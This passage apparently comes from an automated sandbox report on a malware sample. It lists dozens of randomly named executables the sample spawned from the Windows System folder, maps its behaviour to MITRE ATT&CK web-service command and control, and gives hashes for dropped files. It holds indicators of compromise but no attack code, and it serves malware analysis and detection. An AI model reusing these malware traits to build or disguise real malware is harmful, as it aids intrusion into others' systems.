  C:\Windows\System\sHepcct.exe
  2⤵
  PID:11064
- C:\Windows\System\iHPLcFj.exe
  C:\Windows\System\iHPLcFj.exe
  2⤵
  PID:1820
- C:\Windows\System\blROGsH.exe
  C:\Windows\System\blROGsH.exe
  2⤵
  PID:8024
- C:\Windows\System\EJUYKEo.exe
  C:\Windows\System\EJUYKEo.exe
  2⤵
  PID:10040
- C:\Windows\System\wGUEZPO.exe
  C:\Windows\System\wGUEZPO.exe
  2⤵
  PID:10424
- C:\Windows\System\zfrOmdU.exe
  C:\Windows\System\zfrOmdU.exe
  2⤵
  PID:11296
- C:\Windows\System\BxecquC.exe
  C:\Windows\System\BxecquC.exe
  2⤵
  PID:6700
- C:\Windows\System\DzCxCRP.exe
  C:\Windows\System\DzCxCRP.exe
  2⤵
  PID:9488
- C:\Windows\System\HxvvUVK.exe
  C:\Windows\System\HxvvUVK.exe
  2⤵
  PID:7672
- C:\Windows\System\SkGIPMz.exe
  C:\Windows\System\SkGIPMz.exe
  2⤵
  PID:9900
- C:\Windows\System\kkjXWjX.exe
  C:\Windows\System\kkjXWjX.exe
  2⤵
  PID:10872
- C:\Windows\System\rOCxtka.exe
  C:\Windows\System\rOCxtka.exe
  2⤵
  PID:11600
- C:\Windows\System\zCovhyJ.exe
  C:\Windows\System\zCovhyJ.exe
  2⤵
  PID:9356
- C:\Windows\System\lzJByJX.exe
  C:\Windows\System\lzJByJX.exe
  2⤵
  PID:6440
- C:\Windows\System\ZzRBfGx.exe
  C:\Windows\System\ZzRBfGx.exe
  2⤵
  PID:11164
- C:\Windows\System\OQSPrbB.exe
  C:\Windows\System\OQSPrbB.exe
  2⤵
  PID:11732
- C:\Windows\System\bUTKOuT.exe
  C:\Windows\System\bUTKOuT.exe
  2⤵
  PID:11980
- C:\Windows\System\ZSkWyIj.exe
  C:\Windows\System\ZSkWyIj.exe
  2⤵
  PID:10308
- C:\Windows\System\ovCplOB.exe
  C:\Windows\System\ovCplOB.exe
  2⤵
  PID:9740
- C:\Windows\System\IWFtqGX.exe
  C:\Windows\System\IWFtqGX.exe
  2⤵
  PID:9592
- C:\Windows\System\raOEEhT.exe
  C:\Windows\System\raOEEhT.exe
  2⤵
  PID:9868
- C:\Windows\System\VwhsZFT.exe
  C:\Windows\System\VwhsZFT.exe
  2⤵
  PID:10144
- C:\Windows\System\ufIiSVw.exe
  C:\Windows\System\ufIiSVw.exe
  2⤵
  PID:11524
- C:\Windows\System\CCOrqgP.exe
  C:\Windows\System\CCOrqgP.exe
  2⤵
  PID:11624
- C:\Windows\System\vZgwqza.exe
  C:\Windows\System\vZgwqza.exe
  2⤵
  PID:7748
- C:\Windows\System\xDwIlrX.exe
  C:\Windows\System\xDwIlrX.exe
  2⤵
  PID:10492
- C:\Windows\System\kZZtTBt.exe
  C:\Windows\System\kZZtTBt.exe
  2⤵
  PID:11176
- C:\Windows\System\MVsvoML.exe
  C:\Windows\System\MVsvoML.exe
  2⤵
  PID:11012
- C:\Windows\System\gqXIjOf.exe
  C:\Windows\System\gqXIjOf.exe
  2⤵
  PID:9972
- C:\Windows\System\OPldzOd.exe
  C:\Windows\System\OPldzOd.exe
  2⤵
  PID:10712
- C:\Windows\System\IXoGZwa.exe
  C:\Windows\System\IXoGZwa.exe
  2⤵
  PID:11168
- C:\Windows\System\TcoPJWp.exe
  C:\Windows\System\TcoPJWp.exe
  2⤵
  PID:9028
- C:\Windows\System\NlqWwqk.exe
  C:\Windows\System\NlqWwqk.exe
  2⤵
  PID:8988
- C:\Windows\System\kGBCzrx.exe
  C:\Windows\System\kGBCzrx.exe
  2⤵
  PID:12520
- C:\Windows\System\FQsCVXC.exe
  C:\Windows\System\FQsCVXC.exe
  2⤵
  PID:12316
- C:\Windows\System\DgAUZLt.exe
  C:\Windows\System\DgAUZLt.exe
  2⤵
  PID:11932
- C:\Windows\System\HyVShxD.exe
  C:\Windows\System\HyVShxD.exe
  2⤵
  PID:11864
- C:\Windows\System\hRjUoYy.exe
  C:\Windows\System\hRjUoYy.exe
  2⤵
  PID:4648
- C:\Windows\System\ydSzxJO.exe
  C:\Windows\System\ydSzxJO.exe
  2⤵
  PID:11632
- C:\Windows\System\nmIzayO.exe
  C:\Windows\System\nmIzayO.exe
  2⤵
  PID:14356
- C:\Windows\System\RVPvHeE.exe
  C:\Windows\System\RVPvHeE.exe
  2⤵
  PID:14380
- C:\Windows\System\ToSoEgA.exe
  C:\Windows\System\ToSoEgA.exe
  2⤵
  PID:14404
- C:\Windows\System\KFQCIhC.exe
  C:\Windows\System\KFQCIhC.exe
  2⤵
  PID:14428
- C:\Windows\System\mFUVVqH.exe
  C:\Windows\System\mFUVVqH.exe
  2⤵
  PID:14452
- C:\Windows\System\EwNnzvm.exe
  C:\Windows\System\EwNnzvm.exe
  2⤵
  PID:14480
- C:\Windows\System\FkNgcGU.exe
  C:\Windows\System\FkNgcGU.exe
  2⤵
  PID:14500
- C:\Windows\System\riDAlKV.exe
  C:\Windows\System\riDAlKV.exe
  2⤵
  PID:14524
- C:\Windows\System\MIAzwSe.exe
  C:\Windows\System\MIAzwSe.exe
  2⤵
  PID:14660
- C:\Windows\System\aathwDG.exe
  C:\Windows\System\aathwDG.exe
  2⤵
  PID:14680
- C:\Windows\System\rlwklgE.exe
  C:\Windows\System\rlwklgE.exe
  2⤵
  PID:14704
- C:\Windows\System\HVUspyc.exe
  C:\Windows\System\HVUspyc.exe
  2⤵
  PID:14728
- C:\Windows\System\AzpuBmx.exe
  C:\Windows\System\AzpuBmx.exe
  2⤵
  PID:14748
- C:\Windows\System\CAwxQXv.exe
  C:\Windows\System\CAwxQXv.exe
  2⤵
  PID:14764
- C:\Windows\System\EPEgqKJ.exe
  C:\Windows\System\EPEgqKJ.exe
  2⤵
  PID:14796
- C:\Windows\System\RYUYSTd.exe
  C:\Windows\System\RYUYSTd.exe
  2⤵
  PID:14824
- C:\Windows\System\VUPvLSi.exe
  C:\Windows\System\VUPvLSi.exe
  2⤵
  PID:14852
- C:\Windows\System\QvLcBbb.exe
  C:\Windows\System\QvLcBbb.exe
  2⤵
  PID:14872
- C:\Windows\System\yBKPWnD.exe
  C:\Windows\System\yBKPWnD.exe
  2⤵
  PID:14900
- C:\Windows\System\rbdZqiE.exe
  C:\Windows\System\rbdZqiE.exe
  2⤵
  PID:14932
- C:\Windows\System\ycNWTAA.exe
  C:\Windows\System\ycNWTAA.exe
  2⤵
  PID:14956
- C:\Windows\System\TDwCYvm.exe
  C:\Windows\System\TDwCYvm.exe
  2⤵
  PID:14984
- C:\Windows\System\ddWlXOE.exe
  C:\Windows\System\ddWlXOE.exe
  2⤵
  PID:15004
- C:\Windows\System\YSHQJzt.exe
  C:\Windows\System\YSHQJzt.exe
  2⤵
  PID:15156
- C:\Windows\System\AKOxQqf.exe
  C:\Windows\System\AKOxQqf.exe
  2⤵
  PID:15184
- C:\Windows\System\MnnAZpa.exe
  C:\Windows\System\MnnAZpa.exe
  2⤵
  PID:15204
- C:\Windows\System\oqjNWmu.exe
  C:\Windows\System\oqjNWmu.exe
  2⤵
  PID:15224
- C:\Windows\System\NZHMhLQ.exe
  C:\Windows\System\NZHMhLQ.exe
  2⤵
  PID:15248
- C:\Windows\System\SwLuynb.exe
  C:\Windows\System\SwLuynb.exe
  2⤵
  PID:15268
- C:\Windows\System\HkODeJH.exe
  C:\Windows\System\HkODeJH.exe
  2⤵
  PID:15292
- C:\Windows\System\NxqMiGB.exe
  C:\Windows\System\NxqMiGB.exe
  2⤵
  PID:15312
- C:\Windows\System\tCuowCb.exe
  C:\Windows\System\tCuowCb.exe
  2⤵
  PID:15340
- C:\Windows\System\qVGamId.exe
  C:\Windows\System\qVGamId.exe
  2⤵
  PID:11308
- C:\Windows\System\LStxFzm.exe
  C:\Windows\System\LStxFzm.exe
  2⤵
  PID:10388
- C:\Windows\System\OJXPGFY.exe
  C:\Windows\System\OJXPGFY.exe
  2⤵
  PID:11304
- C:\Windows\System\EuaiLPj.exe
  C:\Windows\System\EuaiLPj.exe
  2⤵
  PID:12580
- C:\Windows\System\ujUCefg.exe
  C:\Windows\System\ujUCefg.exe
  2⤵
  PID:11972
- C:\Windows\System\PQbBnKX.exe
  C:\Windows\System\PQbBnKX.exe
  2⤵
  PID:12176
- C:\Windows\System\fUNommT.exe
  C:\Windows\System\fUNommT.exe
  2⤵
  PID:14472
- C:\Windows\System\iEyFVQV.exe
  C:\Windows\System\iEyFVQV.exe
  2⤵
  PID:14672
- C:\Windows\System\vIuIMFU.exe
  C:\Windows\System\vIuIMFU.exe
  2⤵
  PID:11280
- C:\Windows\System\WViDmtd.exe
  C:\Windows\System\WViDmtd.exe
  2⤵
  PID:14392
- C:\Windows\System\ZatCdOt.exe
  C:\Windows\System\ZatCdOt.exe
  2⤵
  PID:14416
- C:\Windows\System\rDTQsyA.exe
  C:\Windows\System\rDTQsyA.exe
  2⤵
  PID:14436
- C:\Windows\System\ZIZMYZZ.exe
  C:\Windows\System\ZIZMYZZ.exe
  2⤵
  PID:14868
- C:\Windows\System\VWmzIRb.exe
  C:\Windows\System\VWmzIRb.exe
  2⤵
  PID:14924
- C:\Windows\System\BuwhFUj.exe
  C:\Windows\System\BuwhFUj.exe
  2⤵
  PID:12508
- C:\Windows\System\SJyDHWK.exe
  C:\Windows\System\SJyDHWK.exe
  2⤵
  PID:14696
- C:\Windows\System\jcyxbHz.exe
  C:\Windows\System\jcyxbHz.exe
  2⤵
  PID:14740
- C:\Windows\System\EYWFryg.exe
  C:\Windows\System\EYWFryg.exe
  2⤵
  PID:14780
- C:\Windows\System\QafGCbs.exe
  C:\Windows\System\QafGCbs.exe
  2⤵
  PID:12832
- C:\Windows\System\oyDEfBe.exe
  C:\Windows\System\oyDEfBe.exe
  2⤵
  PID:12524
- C:\Windows\System\hpqsVjb.exe
  C:\Windows\System\hpqsVjb.exe
  2⤵
  PID:14860
- C:\Windows\System\krxGwlK.exe
  C:\Windows\System\krxGwlK.exe
  2⤵
  PID:12876
- C:\Windows\System\EUCaAnI.exe
  C:\Windows\System\EUCaAnI.exe
  2⤵
  PID:14644
- C:\Windows\System\jXiXgGm.exe
  C:\Windows\System\jXiXgGm.exe
  2⤵
  PID:12944
- C:\Windows\System\AbvUdtV.exe
  C:\Windows\System\AbvUdtV.exe
  2⤵
  PID:14792
- C:\Windows\System\CQZTcfY.exe
  C:\Windows\System\CQZTcfY.exe
  2⤵
  PID:15032
- C:\Windows\System\BtwykxA.exe
  C:\Windows\System\BtwykxA.exe
  2⤵
  PID:12884
- C:\Windows\System\LuSMWGO.exe
  C:\Windows\System\LuSMWGO.exe
  2⤵
  PID:12860
- C:\Windows\System\lkAWeFR.exe
  C:\Windows\System\lkAWeFR.exe
  2⤵
  PID:14948
- C:\Windows\System\SOIzgaJ.exe
  C:\Windows\System\SOIzgaJ.exe
  2⤵
  PID:11628
- C:\Windows\System\tzQmzti.exe
  C:\Windows\System\tzQmzti.exe
  2⤵
  PID:15136
- C:\Windows\System\cGwcSpq.exe
  C:\Windows\System\cGwcSpq.exe
  2⤵
  PID:13092
- C:\Windows\System\kmlgYoL.exe
  C:\Windows\System\kmlgYoL.exe
  2⤵
  PID:15128
- C:\Windows\System\FwiVqJB.exe
  C:\Windows\System\FwiVqJB.exe
  2⤵
  PID:14628
- C:\Windows\System\bnUYIkn.exe
  C:\Windows\System\bnUYIkn.exe
  2⤵
  PID:10476
- C:\Windows\System\srebFXC.exe
  C:\Windows\System\srebFXC.exe
  2⤵
  PID:15256
- C:\Windows\System\qlYQAln.exe
  C:\Windows\System\qlYQAln.exe
  2⤵
  PID:15288
- C:\Windows\System\fiqjRrY.exe
  C:\Windows\System\fiqjRrY.exe
  2⤵
  PID:15332
- C:\Windows\System\HCaERpd.exe
  C:\Windows\System\HCaERpd.exe
  2⤵
  PID:11512
- C:\Windows\System\nsgfPOm.exe
  C:\Windows\System\nsgfPOm.exe
  2⤵
  PID:11968
- C:\Windows\System\XsALsCl.exe
  C:\Windows\System\XsALsCl.exe
  2⤵
  PID:14808
- C:\Windows\System\DxaNPda.exe
  C:\Windows\System\DxaNPda.exe
  2⤵
  PID:11868
- C:\Windows\System\elLLXjC.exe
  C:\Windows\System\elLLXjC.exe
  2⤵
  PID:11544
- C:\Windows\System\jHCAyyO.exe
  C:\Windows\System\jHCAyyO.exe
  2⤵
  PID:12660
- C:\Windows\System\oHSdPAz.exe
  C:\Windows\System\oHSdPAz.exe
  2⤵
  PID:15152
- C:\Windows\System\xrNdNOh.exe
  C:\Windows\System\xrNdNOh.exe
  2⤵
  PID:12840
- C:\Windows\System\NYtLxPs.exe
  C:\Windows\System\NYtLxPs.exe
  2⤵
  PID:13240
- C:\Windows\System\mKkvRQO.exe
  C:\Windows\System\mKkvRQO.exe
  2⤵
  PID:13580
- C:\Windows\System\uMvPltY.exe
  C:\Windows\System\uMvPltY.exe
  2⤵
  PID:12616
- C:\Windows\System\xctxGhe.exe
  C:\Windows\System\xctxGhe.exe
  2⤵
  PID:11960
- C:\Windows\System\KOeaISi.exe
  C:\Windows\System\KOeaISi.exe
  2⤵
  PID:11916
- C:\Windows\System\SkuvRro.exe
  C:\Windows\System\SkuvRro.exe
  2⤵
  PID:12940
- C:\Windows\System\UzZBfzX.exe
  C:\Windows\System\UzZBfzX.exe
  2⤵
  PID:13060
- C:\Windows\System\PAdMpnV.exe
  C:\Windows\System\PAdMpnV.exe
  2⤵
  PID:12544
- C:\Windows\System\mrcVFZx.exe
  C:\Windows\System\mrcVFZx.exe
  2⤵
  PID:14812
- C:\Windows\System\XwBtIbV.exe
  C:\Windows\System\XwBtIbV.exe
  2⤵
  PID:14364
- C:\Windows\System\HhYGvSA.exe
  C:\Windows\System\HhYGvSA.exe
  2⤵
  PID:14572
- C:\Windows\System\HFYvgiS.exe
  C:\Windows\System\HFYvgiS.exe
  2⤵
  PID:13216
- C:\Windows\System\oBBVHVJ.exe
  C:\Windows\System\oBBVHVJ.exe
  2⤵
  PID:12804
- C:\Windows\System\IRXjMue.exe
  C:\Windows\System\IRXjMue.exe
  2⤵
  PID:11312
- C:\Windows\System\glfwAvj.exe
  C:\Windows\System\glfwAvj.exe
  2⤵
  PID:11088
- C:\Windows\System\jiCwjRH.exe
  C:\Windows\System\jiCwjRH.exe
  2⤵
  PID:11336
- C:\Windows\System\unlkQPo.exe
  C:\Windows\System\unlkQPo.exe
  2⤵
  PID:13276
- C:\Windows\System\MPiTrSL.exe
  C:\Windows\System\MPiTrSL.exe
  2⤵
  PID:12872
- C:\Windows\System\PwAJCeL.exe
  C:\Windows\System\PwAJCeL.exe
  2⤵
  PID:12608
- C:\Windows\System\abUzsJp.exe
  C:\Windows\System\abUzsJp.exe
  2⤵
  PID:12464
- C:\Windows\System\PTGgMVd.exe
  C:\Windows\System\PTGgMVd.exe
  2⤵
  PID:12416
- C:\Windows\System\yQSGLyj.exe
  C:\Windows\System\yQSGLyj.exe
  2⤵
  PID:12392
- C:\Windows\System\AGxfYvj.exe
  C:\Windows\System\AGxfYvj.exe
  2⤵
  PID:12056
- C:\Windows\System\NLApQUZ.exe
  C:\Windows\System\NLApQUZ.exe
  2⤵
  PID:12684
- C:\Windows\System\tYyQwnp.exe
  C:\Windows\System\tYyQwnp.exe
  2⤵
  PID:13424
- C:\Windows\System\xsMgcmL.exe
  C:\Windows\System\xsMgcmL.exe
  2⤵
  PID:11780
- C:\Windows\System\dEoikbk.exe
  C:\Windows\System\dEoikbk.exe
  2⤵
  PID:13704
- C:\Windows\System\MQZVTYp.exe
  C:\Windows\System\MQZVTYp.exe
  2⤵
  PID:2372
- C:\Windows\System\zCfgyGf.exe
  C:\Windows\System\zCfgyGf.exe
  2⤵
  PID:13032
- C:\Windows\System\ovvZiBA.exe
  C:\Windows\System\ovvZiBA.exe
  2⤵
  PID:12964
- C:\Windows\System\ZJWfjlp.exe
  C:\Windows\System\ZJWfjlp.exe
  2⤵
  PID:12620
- C:\Windows\System\ZHcTeHU.exe
  C:\Windows\System\ZHcTeHU.exe
  2⤵
  PID:10408
- C:\Windows\System\YebanhV.exe
  C:\Windows\System\YebanhV.exe
  2⤵
  PID:12448
- C:\Windows\System\diEgEXh.exe
  C:\Windows\System\diEgEXh.exe
  2⤵
  PID:14460
- C:\Windows\System\GAIBeWD.exe
  C:\Windows\System\GAIBeWD.exe
  2⤵
  PID:13124
- C:\Windows\System\UOLeuiL.exe
  C:\Windows\System\UOLeuiL.exe
  2⤵
  PID:14548
- C:\Windows\System\BdbOSFt.exe
  C:\Windows\System\BdbOSFt.exe
  2⤵
  PID:3608
- C:\Windows\System\WwqtGYj.exe
  C:\Windows\System\WwqtGYj.exe
  2⤵
  PID:512
- C:\Windows\System\QTbEAil.exe
  C:\Windows\System\QTbEAil.exe
  2⤵
  PID:13608
- C:\Windows\System\qFwalbl.exe
  C:\Windows\System\qFwalbl.exe
  2⤵
  PID:10784
- C:\Windows\System\VDYCHFa.exe
  C:\Windows\System\VDYCHFa.exe
  2⤵
  PID:11004
- C:\Windows\System\BXgDIUD.exe
  C:\Windows\System\BXgDIUD.exe
  2⤵
  PID:13760
- C:\Windows\System\mSzDIaq.exe
  C:\Windows\System\mSzDIaq.exe
  2⤵
  PID:13832
- C:\Windows\System\SaAAmxv.exe
  C:\Windows\System\SaAAmxv.exe
  2⤵
  PID:2532
- C:\Windows\System\HlpRxxD.exe
  C:\Windows\System\HlpRxxD.exe
  2⤵
  PID:15064
- C:\Windows\System\PRzdTnd.exe
  C:\Windows\System\PRzdTnd.exe
  2⤵
  PID:15276
- C:\Windows\System\qCwIVnu.exe
  C:\Windows\System\qCwIVnu.exe
  2⤵
  PID:14716
- C:\Windows\System\SPNRPBA.exe
  C:\Windows\System\SPNRPBA.exe
  2⤵
  PID:9632
- C:\Windows\System\wQttPjo.exe
  C:\Windows\System\wQttPjo.exe
  2⤵
  PID:528
- C:\Windows\System\NBiZAVN.exe
  C:\Windows\System\NBiZAVN.exe
  2⤵
  PID:13736
- C:\Windows\System\tokoRtL.exe
  C:\Windows\System\tokoRtL.exe
  2⤵
  PID:13540
- C:\Windows\System\YOVXhup.exe
  C:\Windows\System\YOVXhup.exe
  2⤵
  PID:13820
- C:\Windows\System\NXkJcnr.exe
  C:\Windows\System\NXkJcnr.exe
  2⤵
  PID:15388
- C:\Windows\System\gaeWkHK.exe
  C:\Windows\System\gaeWkHK.exe
  2⤵
  PID:15404
- C:\Windows\System\ajwyUWG.exe
  C:\Windows\System\ajwyUWG.exe
  2⤵
  PID:15432
- C:\Windows\System\ypuOizq.exe
  C:\Windows\System\ypuOizq.exe
  2⤵
  PID:15460
- C:\Windows\System\ZHaffBw.exe
  C:\Windows\System\ZHaffBw.exe
  2⤵
  PID:15488
- C:\Windows\System\XFVWaDp.exe
  C:\Windows\System\XFVWaDp.exe
  2⤵
  PID:15568
- C:\Windows\System\LhdYwMh.exe
  C:\Windows\System\LhdYwMh.exe
  2⤵
  PID:15588
- C:\Windows\System\nkgLTIB.exe
  C:\Windows\System\nkgLTIB.exe
  2⤵
  PID:15680
- C:\Windows\System\rWhsgBs.exe
  C:\Windows\System\rWhsgBs.exe
  2⤵
  PID:15700
- C:\Windows\System\hKOeyQn.exe
  C:\Windows\System\hKOeyQn.exe
  2⤵
  PID:15832
- C:\Windows\System\Utfwniw.exe
  C:\Windows\System\Utfwniw.exe
  2⤵
  PID:15852
- C:\Windows\System\NGkqiYP.exe
  C:\Windows\System\NGkqiYP.exe
  2⤵
  PID:15876
- C:\Windows\System\iQyxGzd.exe
  C:\Windows\System\iQyxGzd.exe
  2⤵
  PID:15912
- C:\Windows\System\faYytKt.exe
  C:\Windows\System\faYytKt.exe
  2⤵
  PID:15932
- C:\Windows\System\dCajyuH.exe
  C:\Windows\System\dCajyuH.exe
  2⤵
  PID:15948
- C:\Windows\System\FfGWZXz.exe
  C:\Windows\System\FfGWZXz.exe
  2⤵
  PID:15976

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3860 --field-trial-handle=3240,i,13319578961094268484,16557498665191861597,262144 --variations-seed-version /prefetch:8
1⤵
PID:10848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\BHC2O5WS\site-d059d883a114[1].css

Filesize
66KB

MD5
06ad9bc6321c6fed15c64dd375c36d90

SHA1
2abef97ab0621a1d832c6ca784721adad5bc8315

SHA256
74439e916848a6d30f2933b4e7c5a88b41d8ca3a1593f68a82596379806d4ae6

SHA512
d059d883a114193dd05c54c9d3db4f1552bba29320d529b3abed354152a17bcd773dfdec46afc8c2f2d7fd7f13ff85042fa697d761cb7a3447a8488349c81e2b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jxv3hdus.e2m.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\AjGUWjK.exe

Filesize
2.2MB

MD5
4e1d9e15944bd975d1573745cfc52c90

SHA1
662a6fb45eca2302c14d8d54efaf724cc00661a5

SHA256
479722b177cecc2882607ae1736a0d415382fcecab91e8507c1776128bc40921

SHA512
f636df4c40721cfaec4d0ccf351468f23bb1a7887d7f5188e105cd2c015aa2285e66e2e3ed0275c8286dd18686edf0393625ea636f7fd10a9e5568a758b20457

Download Submit
C:\Windows\System\BwRoQiM.exe

Filesize
2.2MB

MD5
5112e37d5d6e0b7e7326c97f6f3e9977

SHA1
2d0b4212a80e1e14ce1ef1caef6aede687111af4

SHA256
abb04c77a907b236e45217f11d8c01d3f8adab963c6b5f8eaa13fefb7345e0b8

SHA512
36ecad5376f5762d7efad373307c2a537c60fd6e5da5b9d9315d7c376c7e321323053e3198442348317f60e91a3782c8e381616978711be7ad19f773a7bc8356

Download Submit
C:\Windows\System\CkVQyjL.exe

Filesize
2.2MB

MD5
ffd3a8e5fb44e0fac4390ae05374be7c

SHA1
31ae19b3a04e9d0f48ce5aae2d1e5cb3401808fd

SHA256
545cd0e9daa16ab88e7fe875500855d2c90c3b73c530a6d8a8bd74415186e4c2

SHA512
1cded1a7640a3b2b4d4549334a1e748281071d071060a8d950986ab4b158c75c8f5af97ac1bf69bc1c7e016d5757b789cbcacab1ae92dc29a55247dabc6a7fe6

Download Submit
C:\Windows\System\DSvDIVJ.exe

Filesize
2.2MB

MD5
68dffba91762c27ac4d3b3f76e745d3d

SHA1
696ab17764c84ced92b83f730d7ac0e8bbfeddb8

SHA256
da2eaf06030a8a96fa36e0d4bdb135f74acfe2eb4425e0aaecb70703ad764715

SHA512
373920113936342f3679734ab8e4f6f6596ba6e66f4d01b05572abd04e8d9691a69314c18803a7b6e5e89e0bc1af48483d8543312ee7046ab6566970dd6dd1b1

Download Submit
C:\Windows\System\DzdJzXx.exe

Filesize
2.2MB

MD5
54217d97f8e4438e733907d79549721c

SHA1
19052c5a0aa8b121509896aa8f93bf2b43e03134

SHA256
223e01e945b1636b87709594236e8c433f61dff719cb753ce1ab1f09691a78a3

SHA512
811e8d7c175787789f1da6724980aa9f27de6457820caf31950981a05869cfb691d3d74bb80d4c37ff2a243fe5e134f16794f998b198a94baf43763a12eccf26

Download Submit
C:\Windows\System\HWJeuZB.exe

Filesize
2.2MB

MD5
75e13d2e949e436faf40a989d42c10d6

SHA1
023520ec52130f94735c6dc68eb757f2fccffcc2

SHA256
aa8f25164afcefaaf1defc50bfbd795b284aa61bf1cb4cabceedb5380209b256

SHA512
41e38eb2ebf6bc7994db66d63b66188379362c4d1439a1a10518aca495e5252cac34cd2ae39a9b5dc3e3e9cb51439d46cc16b63f6b560f7594ff5e447eaa1642

Download Submit
C:\Windows\System\ITicTKp.exe

Filesize
2.2MB

MD5
731b91515b0cc5424f9e4e199289b046

SHA1
9fb2bf7d1b6fcc3a55296b7396822fc38b122efb

SHA256
1126d12761b5691b1100fb4d02bb36f88d032ed92d2898ed23b5f23e9d0b6591

SHA512
77502e9c214a2aa0a8aab25c48784e7ad0f9ee94785af54e4ec5fa1bff76dbe27c36eea0822ca83b7570a1317262eeb733c34d889533f7980780ca3e3f878547

Download Submit
C:\Windows\System\JNLVCTQ.exe

Filesize
2.2MB

MD5
99c17afe8ebd677ae801f931b671873a

SHA1
d742be2915be19563fd9cdf07601d367042e5208

SHA256
cc4044cb95eee5b2d53939224278474cc70e07600ae5fd1f092bf2d70692e064

SHA512
2d83211cd3c16d14f7af73f35a3556694e31bb44d2ef631d3e42d4949c4f475d4a8b1a02c626039fc837e42b96cdee1ede74766c276785afbd7727469c07e972

Download Submit
C:\Windows\System\JuQAytT.exe

Filesize
2.2MB

MD5
95a93e172644d59dd8f4364497d129b4

SHA1
7fa996469d15b25c55a2a2eb83f8156ffb2a3106

SHA256
16d78dbbc9c0831c98a9f69090bda98446e4f85ddb75b26c462dbf75be544438

SHA512
06b3b99c82e8b0e8d1e4bff82187c457f11d33d1711d81039039d1c1ce456357a33fc41071e2ad9e2dbba56982d09b4f9865d1d72bde06f74974ac5aa959d614

Download Submit
C:\Windows\System\KgVrgjd.exe

Filesize
2.2MB

MD5
ff57bc7f00473cfc9bd42b4afedc9540

SHA1
941820ef63b765cb5a9bdaa57dbfbfe356c1e689

SHA256
8b26d4f642b7f61bbaa90d0bf5b301fc4354cbda0624137edaed94a954ed579c

SHA512
c44f5b26ce449d02620b6703626fa6305cd49c43dffa1687baa7679ce32f86fe1a49d0112589ee4049bd84899e855b1daeef9ebdc4714a2b4445abd814772dc0

Download Submit
C:\Windows\System\MGsYxiZ.exe

Filesize
2.2MB

MD5
0813514fd30e8d02657d56f18700ed6d

SHA1
43142710495d5f96a712b6a9286e5506c474c760

SHA256
b9498b6b126ad1e6a51a135a45002f598465fc214ccfa5ac1d71b954b8c57632

SHA512
23aff6758c78c9ed92e4851d0dd403ff0fe2982c3c75f1222d86ca6eb7af0974b0c2559c296530e8b80572afae6e6c6f59c6893c2d076fd593658918ac0dbdf5

Download Submit
C:\Windows\System\SokhlWg.exe

Filesize
2.2MB

MD5
14b02da5d9a689030a5f7e9d62ddb0ea

SHA1
03c19b9a879f113a572da14410d8792ee9de4777

SHA256
5e7d225755c75d02f9039c9dd10a509500962abbd3dfca6fb82e45838d882b55

SHA512
b8a83b837b24eacbd20900a82ea2805c0832ccaa2977ee7454d1bb3aceb38bd8d5e2b1f18d6383900b1773f583c29ff5136e1b5aab150a0f9dfc7bfeff83fc5b

Download Submit
C:\Windows\System\XPcZLAO.exe

Filesize
2.2MB

MD5
872c52343eab0c827edae6e219ff0156

SHA1
629c2a95fe33c6bde6c792a2a02f7c0881048567

SHA256
1a7027cc713fd4fd675173fcae12d2ae38cd5d41666cd7ac89531f4a909279f8

SHA512
e264c38cffe83246b08a329a635300d3e46d6b6d276aaff9aa4930875552fa5ddf614723eb664017abd61efb390f865bb739e1dc2a16a7e2013e71c2af33b5c2

Download Submit
C:\Windows\System\YgLySwv.exe

Filesize
2.2MB

MD5
2f3224a69f2e56ee8f2bb49f5a550ff7

SHA1
b9dfd427a0a798b91bf206605a7340cf9b87eb55

SHA256
e128018af645d00de47e48c59876bda7d6bf7ac05210366757d0b236cea79ab2

SHA512
c632fa28b19c5b82686f1a90655a5053bbf6a0950e6c8a80d39443924cf07481ef1bbe0d2b5ab631b2fc65f55dbf17addc28ac83940812b9712b26c99a6dd2ef

Download Submit
C:\Windows\System\bRCnczr.exe

Filesize
2.2MB

MD5
7c9a79cd0bc32137583aa88b69a9aff0

SHA1
cbf6fb34afbc8c0e7194d8a6e55b1e345a33b5fd

SHA256
3de8681794daec15bea6ee9b596d5d9486668cb8db270fe31b9695b61c8dfbb6

SHA512
54ae3ea2591e391efe9c58cec5630277cfc40f56b5af67f490606cd3b04a77cc46f80247925fefe106bab023d28545faee8525a72539edfea65599aa41aec953

Download Submit
C:\Windows\System\btMVRMz.exe

Filesize
2.2MB

MD5
5f7ffd29a5fd4f553d456cbbc7617a16

SHA1
f0c7f0e3d3cd2836e383f4ce46119be0171d0d94

SHA256
33fe627a7280d04f4735038ae546343c198a5b40ff3834ed82a02c61a0e986ae

SHA512
a734d3312b54774916e5be3cba76ba2a1b34ae3a37f33285ad546e3211522707edd3d90852f6488fb49d700bb1e1b2f59753da4eadd4458da9bf0446a6013b28

Download Submit
C:\Windows\System\dcJwFxK.exe

Filesize
2.2MB

MD5
b9788f3ff2a74d4433d48cc507786fcf

SHA1
0d4a49be8ef6f0f5f7f6986676bf4434326f445c

SHA256
d7318a631a6eca7852cf64fbdb999822b8c8de686e16316acc92666caa277746

SHA512
11e3f2371c400fd25d86e0be0e47a10c16490ca1695445353736ddf2b72249a7414f506906f693db30486112a7925efb77d969ae9fff8d66b820523eeaa2281b

Download Submit
C:\Windows\System\eKJXDpR.exe

Filesize
2.2MB

MD5
c5b9ece74a2600838773323cd9599524

SHA1
e03bc4cdd002ba2652b6764643d606589c14d499

SHA256
4b74f0d73caba5d995291dbad18574fc12c3be2c67da65125f1c8b8abc8aaadb

SHA512
